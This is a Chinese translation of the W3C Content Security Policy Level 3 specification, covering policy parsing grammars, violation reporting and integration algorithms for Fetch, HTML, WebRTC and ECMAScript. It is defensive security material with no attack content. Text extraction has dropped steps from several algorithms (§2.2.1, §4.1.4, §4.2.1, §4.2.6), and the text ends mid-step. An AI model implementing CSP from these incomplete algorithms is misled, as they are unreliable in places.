1. 简介
本节并非规范性内容。
本文档定义了内容安全策略 (CSP),开发者可以使用它以多种方式锁定他们的应用程序,从而减轻诸如跨站脚本等内容注入漏洞的风险,并降低其应用程序的执行权限。
CSP 并非针对内容注入漏洞的第一道防线。相反,CSP 最好用作深度防御。它可以减少恶意注入可能造成的危害,但不能代替谨慎的输入验证和输出编码。
本文档是内容安全策略第 2 级的迭代,旨在更清楚地解释 CSP、HTML 和 Fetch 之间的交互,同时提供清晰的模块化扩展钩子。理想情况下,这将形成一个稳定的核心,我们可以在此基础上构建新功能。
1.1. 示例
1.1.1. 控制执行
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'
1.2. 目标
内容安全策略旨在完成一些相关的任务:
-
通过为开发者提供较为精细的控制来降低内容注入攻击的风险,包括:
-
通过提供精细的控制来减少嵌入恶意上下文(如“像素完美”攻击所述)的风险。
-
提供一个策略框架,使开发者能够减少其应用程序的权限。
-
提供一种报告机制,允许开发者检测到在实际环境中被利用的漏洞。
1.3. 与第 2 级的变化
本文档描述了内容安全策略第 2 级规范的演进版本[CSP2]。以下是变化的概述:
-
该规范从头开始根据 [FETCH] 规范重写,这使得更容易将 CSP 的要求和限制与其他规范(尤其是与 Service Workers)集成。
-
child-src
模型已经进行了重大修改:-
frame-src
指令在 CSP 第 2 级中被弃用,但现在已取消弃用,且若不存在时仍会退化为child-src
(它又会退化为default-src
)。 -
添加了
worker-src
指令,若不存在则退化为child-src
(同样最终退化为script-src
,再退化为default-src
)。
-
-
URL 匹配算法现在将不安全的方案和端口视为与其安全变体相匹配。也就是说,源表达式
http://example.com:80
将同时匹配http://example.com:80
和https://example.com:443
。同样,
'self'
现在会匹配页面起源的https:
和wss:
变体,即使页面的方案为http
。 -
从内联脚本或样式生成的违规报告现在会将“
inline
”作为被阻止的资源。同样,被阻止的eval()
执行将报告为“eval
”。 -
添加了
manifest-src
指令。 -
report-uri
指令被弃用,改为使用新的report-to
指令,它依赖于[REPORTING] 作为基础设施。 -
'strict-dynamic'
源表达式现在允许在页面上执行的脚本通过非 “解析器插入”的script
元素加载更多脚本。详情参见 § 8.2 关于 "'strict-dynamic'" 的使用。 -
'unsafe-hashes'
源表达式现在允许事件处理程序、样式属性和javascript:
导航目标匹配哈希。详情参见 § 8.3 关于 "'unsafe-hashes'" 的使用。 -
源表达式 的匹配已更改为要求明确存在任何非 HTTP(S) 方案,而非本地方案,除非该非 HTTP(S) 方案 与受保护资源的方案相同,如在 § 6.7.2.8 URL 与原点中的表达式和重定向计数匹配 中所述。
-
哈希源表达式现在可能匹配外部脚本,前提是触发请求的
script
元素指定了一组列在当前策略中的完整性元数据。详情见 § 8.4 通过哈希允许外部 JavaScript。 -
针对内联违规生成的报告将包含 示例 属性(如果相关指令包含
'report-sample'
表达式)。
2. 框架
2.1. 基础设施
本文档使用 ABNF 语法定义句法,参见[RFC5234]。此外还依赖于 [RFC9110] 中第 5.6.1
节中定义的 #rule
ABNF 扩展,修改内容是将 OWS 替换为 可选 ASCII 空白符。即,本文档中使用的 #rule
定义如下:
1#element => element *( 可选 ASCII 空白符 "," 可选 ASCII 空白符 element )
对于 n >= 1 和 m > 1:
<n>#<m>element => element <n-1>*<m-1>( 可选 ASCII 空白符 "," 可选 ASCII 空白符 element )
本文档依赖于 Infra 标准提供的多个用于算法和书写的基础概念 [INFRA]。
以下定义用于提高本文档中其他定义的可读性。
可选 ASCII 空白符 = *( %x09 / %x0A / %x0C / %x0D / %x20 ) 必需 ASCII 空白符 = 1*( %x09 / %x0A / %x0C / %x0D / %x20 ) ; 这些生成规则符合 ASCII 空白符 的定义,出自 INFRA 标准。
2.2. 策略
一个 策略 定义了允许和限制的行为,可以应用于 Document
、WorkerGlobalScope
或 WorkletGlobalScope
。
每个策略都有一个关联的 指令集,它是一个 有序集合,包含的 指令定义了应用策略时的具体效果。
每个策略都有一个关联的 属性,其值为 "enforce
" 或 "report
"。
每个策略都有一个关联的 来源,其值为 "header
" 或 "meta
"。
每个策略都有一个关联的 self-origin,用于在匹配 'self'
关键字时表示一个 来源。
注意: 这是为了方便对从父级继承策略的 本地方案 文档/工作者进行 'self'
检查。大多数情况下,这将是 环境设置对象的来源。
多个 策略 可以应用于单个资源,集合在一起形成一个 列表,被称为 CSP 列表。
一个 CSP 列表 包含一个 header
提供的内容安全策略,如果它 包含了一个 策略,其 来源为 "header
"。
一个 序列化 CSP 是一个 ASCII 字符串,由分号分隔的一系列 序列化指令 组成,符合以下 ABNF 语法 [RFC5234]:
serialized-policy = serialized-directive *( 可选 ASCII 空白符 ";" [ 可选 ASCII 空白符 serialized-directive ] )
一个序列化的 CSP 列表是一个ASCII 字符串,由逗号分隔的一系列序列化的 CSP组成,遵循以下 ABNF 语法 [RFC5234]:
serialized-policy-list = 1#serialized-policy ; '#' 规则是在 RFC 9110 第 5.6.1 节中定义的规则 ; 但它包含了本文档第 2.1 节中指定的修改。
2.2.1. 解析序列化的 CSP
为了 解析序列化的 CSP,给定一个 字节序列 或 字符串 serialized,一个 来源 source,以及一个 属性 disposition,执行以下步骤。
此算法返回一个 内容安全策略对象。如果 serialized 无法解析,则对象的 指令集将为空。
-
如果 serialized 是一个 字节序列,则将 serialized 设置为通过 同构解码后的 serialized。
-
对于每个 通过 严格分割 serialized 的 U+003B 分号字符(
;
)返回的 token:-
移除 token 的前后 ASCII 空白符。
-
令 directive name 为从 token 中收集非 ASCII 空白字符的代码点序列的结果。
-
将 directive name 设置为对 directive name 执行 ASCII 小写转换 的结果。
注意: 指令名称是大小写不敏感的,例如:
script-SRC 'none'
和ScRiPt-sRc 'none'
是等价的。 -
如果 policy 的 指令集 中包含名称为 directive name 的 指令,则 继续。
注意: 在这种情况下,用户代理应该通知开发人员忽略了重复的指令。例如,可以在控制台中显示警告。
-
令 directive value 为通过 以 ASCII 空白符分割 token 的结果。
-
令 directive 为一个新的 指令,其 名称 为 directive name,值 为 directive value。
-
-
返回 policy。
2.2.2. 解析 response 的内容安全策略
为了 解析响应的内容安全策略,给定一个 响应 response,执行以下步骤。
此算法返回一个 列表,其中包含 内容安全策略对象。如果策略无法解析,则返回的列表将为空。
-
令 policies 为一个空的 列表。
-
对于每个 通过 提取响应头列表值获得的 token,其头为
Content-Security-Policy
,来自 response 的 头列表: -
对于每个 通过 提取响应头列表值获得的 token,其头为
Content-Security-Policy-Report-Only
,来自 response 的 头列表: -
对于每个 policies 中的 policy:
-
将 policy 的 self-origin 设置为 response 的 url 的 来源。
-
-
返回 policies。
注意: 当 解析响应的内容安全策略 时,如果得到的 policies 最终包含至少一项,用户代理可以在 policies 上持有一个标志,并使用该标志来优化 包含头部传递的内容安全策略 算法。
2.3. 指令
每个 策略 包含一个 有序集合 的 指令(其 指令集),每个指令控制特定的行为。本文件中定义的指令在 § 6 内容安全策略指令 中有详细描述。
每个 指令 是一个 名称 / 值 对。名称 是一个非空的 字符串,而 值 是一个非空 字符串 的 集合。值 可以是 空的。
序列化的指令 是一个 ASCII 字符串,由一个或多个空格分隔的标记组成,并遵循以下 ABNF 规范 [RFC5234]:
serialized-directive = directive-name [ required-ascii-whitespace directive-value ] directive-name = 1*( ALPHA / DIGIT / "-" ) directive-value = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) ) ; 指令值可以包含空白字符和 VCHAR 字符, ; 不包括 ";" 和 ","。上面定义的后半部分 ; 表示所有 VCHAR 字符 (%x21-%x7E) ; 不包括 ";" 和 "," (分别为 %x3B 和 %x2C) ; ALPHA、DIGIT 和 VCHAR 在 RFC 5234 的附录 B.1 中定义。
指令 有多个相关的算法:
-
请求前检查,其参数是一个 请求 和一个 策略,并在 § 4.1.2 内容安全策略是否应阻止请求? 中执行。除非另有说明,否则此算法返回 "
Allowed
"。 -
请求后检查,其参数是一个 请求、一个 响应,以及一个 策略,并在 § 4.1.3 内容安全策略是否应阻止响应请求? 中执行。除非另有说明,否则此算法返回 "
Allowed
"。 -
内联检查,其参数是一个
元素
、一个类型字符串、一个 策略 以及一个源字符串,并在 § 4.2.3 内容安全策略是否应阻止元素的内联类型行为? 和 § 4.2.4 内容安全策略是否应阻止导航请求类型? 对javascript:
请求执行。除非另有说明,否则此算法返回 "Allowed
"。 -
初始化,其参数是一个
文档
或 全局对象 以及一个 策略。此算法在 § 4.2.1 为文档运行 CSP 初始化 和 § 4.2.6 为全局对象运行 CSP 初始化 中执行。除非另有说明,否则它没有影响并返回 "Allowed
"。 -
导航前检查,其参数是一个 请求、一个导航类型字符串("
form-submission
" 或 "other
"),以及一个 策略,并在 § 4.2.4 内容安全策略是否应阻止导航请求类型? 中执行。除非另有说明,否则它返回 "Allowed
"。 -
导航响应检查,其参数是一个 请求、一个导航类型字符串("
form-submission
" 或 "other
"),一个 响应、一个 导航目标、一个检查类型字符串("source
" 或 "response
"),以及一个 策略,并在 § 4.2.5 内容安全策略是否应阻止对导航请求类型的导航响应? 中执行。除非另有说明,否则它返回 "Allowed
"。 -
WebRTC 预连接检查,其参数是一个 策略,并在 § 4.3.1 是否应阻止全局的 RTC 连接? 中执行。除非另有说明,否则它返回 "
Allowed
"。
2.3.1. 源列表
许多 指令 的 值 由 源列表 组成:集合的 字符串,用于标识可以获取并可能嵌入或执行的内容。每个 字符串 表示以下类型的 源表达式 之一:
-
序列化 URL,如
https://example.com/path/to/file.js
(匹配特定文件)或https://example.com/
(匹配该来源上的所有内容) -
协议,如
https:
(匹配具有指定协议的任何资源) -
主机,如
example.com
(匹配该主机上的任何资源,无论协议如何)或*.example.com
(匹配该主机的所有子域(以及任何子域的子域,依此类推)上的任何资源) -
随机数,如
'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'
(可以匹配页面上的特定元素) -
摘要,如
'sha256-abcd...'
(可以匹配页面上的特定元素)
一个序列化的源列表是一个ASCII 字符串,由以空格分隔的一系列源表达式组成,遵循以下 ABNF 语法 [RFC5234]:
serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression = scheme-source / host-source / keyword-source
/ nonce-source / hash-source
; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"
; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
; scheme is defined in section 3.1 of RFC 3986.
host-part = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char = ALPHA / DIGIT / "-"
port-part = 1*DIGIT / "*"
path-part = path-absolute (but not including ";" or ",")
; path-absolute is defined in section 3.3 of RFC 3986.
; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
/ "'strict-dynamic'" / "'unsafe-hashes'"
/ "'report-sample'" / "'unsafe-allow-redirects'"
/ "'wasm-unsafe-eval'" / "'trusted-types-eval'"
/ "'report-sha256'" / "'report-sha384'"
/ "'report-sha512'"
ISSUE: Bikeshed unsafe-allow-redirects
.
; Nonces: 'nonce-[nonce goes here]'
nonce-source = "'nonce-" base64-value "'"
base64-value = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
; Digests: 'sha256-[digest goes here]'
hash-source = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"
host-char
规则有意仅包含 ASCII 字符;国际化域名不能直接作为 序列化的 CSP 的一部分,而必须使用 Punycode 编码 [RFC3492]。例如,域名
üüüüüü.de
必须表示为 xn--tdaaaaaa.de
。
注意:虽然 IP 地址与上述语法匹配,但只有 127.0.0.1
实际上会在用作源表达式时匹配 URL(有关详细信息,请参阅 § 6.7.2.7 在来源和重定向计数中 URL
是否匹配源列表?)。IP 地址的安全特性存在问题,作者应尽量优先选择主机名。
注意:base64-value 语法允许 base64 和 base64url 编码。这些编码在处理 hash-source 值时被视为等同。然而,随机数是严格的字符串匹配:我们使用 base64-value 语法来限制可用字符,并降低服务器端操作人员的复杂性(编码等),但用户代理实际上并不关心任何底层值,也不会对 nonce-source 值进行任何解码。
2.4. 违反
一个 违反 表示一项操作或资源违反了与某个 全局对象 关联的 策略 对象集合。
每个 违反 都有一个 全局对象,它是被违反策略的 全局对象。
每个 违反 都有一个 URL,它是其 全局对象 的
URL
。
每个 违反 都有一个 状态,它是一个非负整数,表示实例化全局对象的资源的 HTTP 状态码。
每个 违反 都有一个 资源,它可以是
null、"inline
"、"eval
"、"wasm-eval
"、"trusted-types-policy
"、"trusted-types-sink
"
或 URL
。它表示违反策略的资源。
注意: 违反 的 资源 的值为 null 仅在违反被填充时允许。在 违反 被报告并使用其 资源 获取被阻止的 URI 时,违反 的 资源 应填充为 URL
或允许的字符串之一。
每个 违反 都有一个 引用者,它可以是 null
或 URL
。它表示被违反策略的资源的引用者。
每个 违反 都有一个 有效指令,它是一个非空字符串,表示导致违反的 指令。
每个 违反 都有一个 源文件,它可以是 null 或 URL
。
每个 违反 都有一个 行号,它是一个非负整数。
每个 违反 都有一个 列号,它是一个非负整数。
每个 违反 都有一个 元素,它可以是 null 或一个元素。
每个 违反 都有一个 示例,它是一个字符串。除非另有规定,它默认为空字符串。
注意: 违反 的 示例 将包含导致违反的内联脚本、事件处理程序或样式的前 40 个字符。从外部文件引发的违反将不会在违反报告中包含示例。
2.4.1. 为 global、policy 和 directive 创建违反对象
给定一个 全局对象 global,一个 策略 policy,以及一个 字符串 directive,以下算法创建一个新的 违反 对象,并用初始数据集进行填充:
-
让 violation 成为一个新的 违反,其 全局对象 为 global,策略 为 policy,有效指令 为 directive,并且 资源 为 null。
-
如果用户代理当前正在执行脚本,且可以从 global 提取源文件的 URL、行号和列号,则相应设置 violation 的 源文件、行号 和 列号。
这种情况是否在其他地方有规范?我在 [ECMA262] 中没有看到类似内容。
注意: 用户代理需要确保 源文件 是页面请求的 URL(重定向前的)。如果这不可能,用户代理需要将 URL 降级为一个源,避免非故意泄漏。
-
如果 global 是一个
Window
对象,则将 violation 的 referrer 设置为 global 的 document 的referrer
。 -
返回 violation。
2.4.2. 为 request 和 policy 创建违反对象
给定一个 请求 request,一个 策略 policy,以下算法创建一个新的 违反 对象,并用初始数据集进行填充:
-
让 directive 成为在 request 上执行 § 6.8.1 获取请求的有效指令 的结果。
-
让 violation 成为在 request 的 客户端 的 全局对象、policy 和 directive 上执行 § 2.4.1 为 global、policy 和 directive 创建违反对象 的结果。
-
返回 violation。
3. 策略传递
服务器可以通过 HTTP 响应头字段为特定的资源表示声明序列化 CSP,详细机制在 § 3.1 Content-Security-Policy HTTP 响应头字段和 § 3.2 Content-Security-Policy-Report-Only HTTP 响应头字段中定义,与 Fetch 和 HTML 的集成描述在 § 4.1 Fetch 集成和 § 4.2 HTML 集成中。
策略也可以通过 HTML 文档中的
meta
元素的
http-equiv
属性内联声明,如 § 3.3 <meta> 元素所述。
3.1. Content-Security-Policy
HTTP 响应头字段
Content-Security-Policy
HTTP
响应头字段是将策略从服务器传递到客户端的首选机制。该头字段的值由以下 ABNF 表示 [RFC5234]:
Content-Security-Policy = 1#serialized-policy ; "#" 规则定义于 RFC 9110 的第 5.6.1 节, ; 并包括本文档第 2.1 节中的修改。
Content-Security-Policy: script-src 'self'; report-to csp-reporting-endpoint
服务器可以为同一资源的不同表示形式发送不同的
Content-Security-Policy
标头字段值。
当用户代理收到 Content-Security-Policy
标头字段时,它必须按照 § 4.1 与 Fetch
集成和 § 4.2 与 HTML 集成中的描述,解析并强制执行其中包含的每个序列化 CSP。
3.2. Content-Security-Policy-Report-Only
HTTP 响应头字段
Content-Security-Policy-Report-Only
HTTP 响应头字段允许 Web 开发者通过监控(而不是执行)策略的效果来进行策略试验。该头字段的值由以下 ABNF 表示 [RFC5234]:
Content-Security-Policy-Report-Only = 1#serialized-policy ; "#" 规则定义于 RFC 9110 的第 5.6.1 节, ; 并包括本文档第 2.1 节中的修改。
该头字段允许开发者以迭代的方式构建其安全策略,基于其对站点行为的最佳估计部署报告模式策略,观察违规报告,然后在对行为有足够信心后转变为强制策略。
Content-Security-Policy-Report-Only: script-src 'self'; report-to csp-reporting-endpoint
服务器可以为同一资源的不同表示形式发送不同的
Content-Security-Policy-Report-Only
标头字段值。
当用户代理收到 Content-Security-Policy-Report-Only
标头字段时,它必须按照 § 4.1 与
Fetch 集成和 § 4.2 与 HTML 集成中的描述,解析并监控其中包含的每个序列化 CSP。
注意: Content-Security-Policy-Report-Only
头字段不支持在
meta
元素中。
3.3. <meta> 元素
文档
可以通过一个或多个
HTML
meta
元素传递策略,其
http-equiv
属性为与字符串 "Content-Security-Policy
" 不区分大小写的匹配。例如:
实现细节可见 HTML 的 内容安全策略状态 http-equiv
处理说明
[HTML]。
注意: Content-Security-Policy-Report-Only
头字段不支持在
meta
元素中。同样,report-uri
、frame-ancestors
和 sandbox
指令也不支持。
强烈建议作者尽量将
meta
元素尽早放在文档中,因为
meta
元素中的策略不适用于在其之前的内容。特别要注意,使用 Link
HTTP 响应头字段预取的资源以及通过
link
和
script
元素预取的资源不会被
meta
传递的策略阻止。
注意:通过
meta
元素指定的策略将与保护资源的任何其他活动策略一同执行,无论它们在哪里指定。执行多个策略的一般影响在 § 8.1 多个策略的影响 中进行了描述。
4. 集成
本节为非规范性内容。
本文档定义了一组用于在其他规范中实现功能的算法。这些集成在这里概述以便于理解,但这些外部文档才是应当查阅的规范参考,以获取详细信息。
4.1. 与 Fetch 的集成
许多指令以某种方式控制资源加载。本规范提供了允许 Fetch 决定某个 请求是否应被阻止或允许的算法,以及关于某个 响应是否应被替换为 网络错误的决策。
-
§ 4.1.2 内容安全策略是否应阻止请求? 是在 主 Fetch 算法的步骤 2.4 中调用的。这允许指令的 请求前检查 对每个请求在进入网络之前执行,也对请求在到达资源的过程中可能经过的每次重定向进行检查。
-
§ 4.1.3 内容安全策略是否应阻止请求的响应? 是在 主 Fetch 算法的步骤 11 中调用的。这允许指令的 请求后检查 对来自网络或服务工作者的响应执行。
4.1.1. 报告 request 的内容安全策略违规
给定一个 request request,该算法基于 策略容器 的 CSP 列表 中“仅报告”的策略来报告违规行为。
-
对每个 policy 取自 CSP list:
-
如果 policy 的 处置 为 "
enforce
",则跳到下一个 policy。 -
令 violates 为执行 § 6.7.2.1 请求是否违反策略? 对 request 和 policy 的结果。
-
如果 violates 不是 "
不违反
",则执行 § 5.5 报告违规,参数为执行 § 2.4.2 为请求和策略创建违规对象 的结果,对 request 和 policy。
-
4.1.2. 请求 request 是否应被内容安全策略阻止?
给定一个 request request,该算法返回 Blocked
或
Allowed
,并基于 request 的 策略容器 的 CSP 列表 来报告违规行为。
-
令 result 为 "
Allowed
"。 -
对每个 policy 取自 CSP list:
-
如果 policy 的 处置 为 "
report
",则跳到下一个 policy。 -
令 violates 为执行 § 6.7.2.1 请求是否违反策略? 对 request 和 policy 的结果。
-
如果 violates 不是 "
不违反
",则:-
执行 § 5.5 报告违规,参数为执行 § 2.4.2 为请求和策略创建违规对象 的结果,对 request 和 policy。
-
将 result 设置为 "
Blocked
"。
-
-
-
返回 result。
4.1.3. 响应 response 对 request 是否应被内容安全策略阻止?
给定一个 response response 和一个 request
request,该算法返回 Blocked
或 Allowed
,并基于 request 的 策略容器 的 CSP 列表 来报告违规行为。
-
令 result 为 "
Allowed
"。 -
对每个 policy 取自 CSP list:
-
对每个 directive 取自 policy:
-
如果执行 directive 的 请求后检查 的结果为 "
Blocked
",则:-
执行 § 5.5 报告违规,参数为执行 § 2.4.2 为请求和策略创建违规对象 的结果,对 request 和 policy。
-
如果 policy 的 处置 为 "
enforce
",则将 result 设置为 "Blocked
"。
-
-
注意:检查的这一部分验证页面是否可以加载响应,即确保服务工作线程没有替换违反页面 CSP 的文件。
-
-
返回 result。
4.1.4. 可能报告哈希值
给定一个响应 response,一个请求 request,一个指令 directive 和一个内容安全策略对象 policy, 执行以下步骤:
-
令 algorithm 为空字符串。
-
如果 directive 的值包含表达式 "
'report-sha256'
",则将 algorithm 设置为 "sha256"。 -
如果 directive 的值包含表达式 "
'report-sha384'
",则将 algorithm 设置为 "sha384"。 -
如果 directive 的值包含表达式 "
'report-sha512'
",则将 algorithm 设置为 "sha512"。 -
如果 algorithm 为空字符串,则返回。
-
令 hash 为空字符串。
-
如果 response 是CORS 同源,则:
-
如果 global 不是
Window
, 则返回。 -
令 stripped document URL 为在 global 的文档的URL 上执行§ 5.4 为在报告中使用而剥离 URL的结果。
-
令 body 为一个csp 哈希报告主体,其documentURL 为 stripped document URL,其subresourceURL 为 request 的 URL,其hash 为 hash,其destination 为 request 的目标,其type 为 "subresource"。
-
生成并排队报告,使用以下参数:
- context
-
settings object
- type
-
"csp-hash"
- destination
-
report-to directive 的值。
- data
-
body
4.2. 与 HTML 的集成
-
策略容器有一个 CSP 列表,其中包含对给定上下文有效的所有策略对象。 除非另有说明,否则此列表为空,并通过解析响应的 内容安全策略或根据策略容器的规则继承来填充。
-
全局对象的 CSP 列表是使用全局对象作为
object
执行§ 4.2.2 检索对象的 CSP 列表的结果。 -
在准备脚本元素和更新
style
块算法期间调用§ 4.2.3 是否应通过内容安全策略阻止元素的内联类型行为?,以确定是否允许执行/呈现内联脚本或样式块。 -
在处理内联事件处理程序(如
onclick
)和内联style
属性期间调用§ 4.2.3 是否应通过内容安全策略阻止元素的内联类型行为?,以确定是否应允许它们执行/呈现。 -
在处理
meta
元素的http-equiv
期间强制执行策略。 -
HTML 使用负责资源加载的元素中的相关数据填充每个请求的加密随机数元数据和解析器元数据。
样式表加载尚未与 WHATWG HTML 中的 Fetch 集成。[whatwg/html 问题 #968]
-
在
base
元素的设置冻结基本 URL算法期间调用§ 6.3.1.1 是否允许文档使用 base?,以确保href
属性的值有效。 -
在通过获取创建导航参数算法期间调用§ 4.2.4 是否应通过内容安全策略阻止类型的导航请求?,并在尝试填充历史记录条目的文档算法期间调用§ 4.2.5 是否应通过内容安全策略阻止目标中类型的导航请求的导航响应?,以应用指令的导航检查以及对导航到
javascript:
URL 的内联检查。 -
在运行工作线程算法期间调用§ 4.2.6 运行全局对象的 CSP 初始化。
-
sandbox 指令用于填充CSP 派生的沙盒标志。
4.2.1. 运行 CSP
初始化用于 Document
给定一个 Document
document,用户代理按以下步骤初始化 document 的 CSP:
4.2.2. 获取 CSP 列表 对于 object
为了获取 object 的 CSP 列表:
-
如果 object 是一个
Window
或一个WorkerGlobalScope
或一个WorkletGlobalScope
, 则返回环境设置对象的策略容器的CSP 列表。 -
返回 null。
4.2.3. 元素 element 的内联 type 行为是否应被内容安全策略阻止?
给定一个 Element
element、一个字符串 type 和一个字符串 source,此算法返回 "Allowed
"
如果该元素被允许内联定义某种特定类型的行为(脚本执行、样式应用、事件处理等),否则返回 "Blocked
":
注意: type 的有效值包括
"script
"、"script attribute
"、"style
" 和
"style attribute
"。
-
断言:element 不为 null。
-
令 result 为 "
Allowed
"。 -
对于 element 的
Document
的 全局对象的 CSP 列表中的每个 policy:-
对于 policy 的 指令集中的每个 directive:
-
如果 directive 的内联检查在对 element、type、 policy 和 source 执行时返回 "
Allowed
", 则跳到下一个 directive。 -
令 directive-name 为在 type 上执行§ 6.8.2 获取内联检查的有效指令的结果。
-
否则,令 violation 为在当前设置对象的全局对象、policy 和 directive-name 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。
-
将 violation 的资源设置为 "
inline
"。 -
将 violation 的元素设置为 element。
-
如果 directive 的值包含表达式 "
'report-sample'
", 则将 violation 的样本设置为 source 中包含其前 40 个字符的子字符串。 -
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则 将 result 设置为 "Blocked
"。
-
-
-
返回 result。
4.2.4. 类型为 type 的 导航请求 是否应被内容安全策略阻止?
给定一个请求 navigation request 和一个字符串
type(“form-submission
”或“other
”),如果活动策略阻止导航,则此算法返回“Blocked
”,否则返回“Allowed
”:
-
令 result 为 "
Allowed
"。 -
遍历 导航请求 的 策略容器的 CSP 列表中的每个 policy:
-
遍历 policy 中的每个 directive:
-
如果在 导航请求、type 和 policy 上执行 directive 的 预导航检查 返回 "
Allowed
",跳到下一个 directive。 -
否则,令 violation 为在 导航请求 的 客户端 的 全局对象、policy 和 directive 的 名称 上执行 § 2.4.1 创建全局、策略和指令的违规对象 的结果。
-
执行 § 5.5 报告违规 于 violation。
-
如果 policy 的 处置 为 "
enforce
",则将 result 设置为 "Blocked
"。
-
-
-
如果 result 为 "
Allowed
",并且 导航请求 的 当前 URL 的 方案 为javascript
:-
对于 navigation request 的策略容器的CSP 列表中的每个 policy:
-
对于 policy 中的每个 directive:
-
令 directive-name 为在 "
navigation
" 上执行§ 6.8.2 获取内联检查的有效指令的结果。 -
如果 directive 的内联检查在对 null、“
navigation
”和 navigation request 的当前 URL 执行时返回“Allowed
”,则跳到下一个 directive。 -
否则,令 violation 为在 navigation request 的客户端的全局对象、policy 和 directive-name 上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。
-
将 violation 的资源设置为 "
inline
"。 -
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则 将 result 设置为 "Blocked
"。
-
-
-
-
返回 result。
4.2.5. 是否应内容安全策略阻止 target 中 navigation request 的 type 导航响应 navigation response?
给定一个请求 navigation request,一个响应
navigation
response,一个CSP 列表
response CSP list,一个字符串
type(“form-submission
”或“other
”),以及一个可导航对象
target,如果活动策略阻止导航,则此算法返回“Blocked
”,否则返回“Allowed
”:
-
令 result 为 "
Allowed
"。 -
对于 response CSP list 中的每个 policy:
注意:某些指令(如 frame-ancestors)允许响应的内容安全策略作用于导航。
-
对于 policy 中的每个 directive:
-
如果 directive 的导航响应检查在对 navigation request、type、navigation response、 target、“
response
”和 policy 执行时返回“Allowed
”,则跳到下一个 directive。 -
否则,令 violation 为在 null、policy 和 directive 的名称上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。
注意:我们对全局对象使用 null,因为不存在全局对象: 我们尚未处理导航以创建文档。
-
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则 将 result 设置为 "Blocked
"。
-
-
-
对于 navigation request 的策略容器的CSP 列表中的每个 policy:
注意:navigation request 上下文中的某些指令(如 frame-ancestors) 需要在对导航采取行动之前获取响应。
-
对于 policy 中的每个 directive:
-
如果 directive 的导航响应检查在对 navigation request、type、navigation response、 target、“
source
”和 policy 执行时返回“Allowed
”,则跳到下一个 directive。 -
否则,令 violation 为在 navigation request 的客户端的全局对象、 policy 和 directive 的名称上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。
-
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则 将 result 设置为 "Blocked
"。
-
-
-
返回 result。
4.2.6. 运行 CSP
初始化以处理全局对象
给定一个 全局对象 global,用户代理按以下步骤初始化 global 的 CSP。如果
global 允许,则此算法返回 "Allowed
",否则返回 "Blocked
":
-
令 result 为 "
Allowed
"。 -
返回 result。
4.3. 与 WebRTC 的集成
管理禁止 算法在调用时会调用 § 4.3.1 全局对象的RTC连接是否应被阻止?,如果返回
"Blocked
",则禁止所有候选者。
4.3.1. 全局对象的 global RTC 连接是否应被阻止?
给定一个全局对象 global,如果 global 的活动策略阻止 RTC 连接,则此算法返回
"Blocked
",否则返回 "Allowed
":
-
令 result 为 "
Allowed
"。 -
-
对于 policy 中的每个 directive:
-
如果 directive 的webrtc 预连接检查返回 "
Allowed
",则继续。 -
否则,令 violation 为在 global、policy 和 directive 的名称上执行§ 2.4.1 为全局对象、策略和指令创建违规对象的结果。
-
将 violation 的资源设置为 null。
-
在 violation 上执行§ 5.5 报告违规。
-
如果 policy 的处置方式为 "
enforce
",则 将 result 设置为 "Blocked
"。
-
-
-
返回 result。
4.4. 与 ECMAScript 的集成
ECMAScript 定义了一个 HostEnsureCanCompileStrings()
抽象操作,该操作允许主机环境阻止将字符串编译为 ECMAScript 代码。本文档定义了该抽象操作的实现,该实现会检查相关的 CSP 列表,以确定是否应该阻止此类编译。
4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)
给定一个 realm
realm,一个字符串列表 parameterStrings,一个字符串 bodyString,一个字符串
codeString,一个枚举 (compilationType),一个 ECMAScript 语言值列表
(parameterArgs),和一个 ECMAScript 语言值 (bodyArg),如果允许字符串编译,则此算法正常返回,否则抛出
"EvalError
":
-
如果 compilationType 为 "
TIMER
",则:-
令 sourceString 为 codeString。
-
-
否则:
-
如果 compilationType 为 "
FUNCTION
",则令 compilationSink 为 "Function",否则为 "eval"。 -
令 isTrusted 为
true
,如果 bodyArg 实现TrustedScript
,否则为false
。 -
如果 isTrusted 为
true
,则:-
如果 bodyString 不等于 bodyArg 的 数据,将 isTrusted 设置为
false
。
-
-
如果 isTrusted 为
true
,则: -
令 sourceToValidate 为在 realm 中创建的新
TrustedScript
对象,其 数据 设置为 codeString,如果 isTrusted 为true
,否则为 codeString。 -
令 sourceString 为使用
TrustedScript
、realm、sourceToValidate、compilationSink 和'script'
执行 获取受信任类型兼容字符串 算法的结果。 -
如果算法抛出错误,则抛出
EvalError
。 -
如果 sourceString 不等于 codeString,抛出
EvalError
。
-
-
令 result 为 "
Allowed
"。 -
令 global 为 realm 的 全局对象。
-
遍历 global 的 CSP 列表中的每个 policy:
-
令 source-list 为 null。
-
如果 policy 包含一个指令,其名称为 "
script-src
",则将 source-list 设置为该指令的值。否则,如果 policy 包含一个指令,其名称为 "
default-src
",则将 source-list 设置为该指令的值。 -
如果 source-list 不为 null:
-
令 trustedTypesRequired 为执行接收器类型是否需要可信类型?的结果,参数为 realm、
'script'
和false
。 -
如果 trustedTypesRequired 为
true
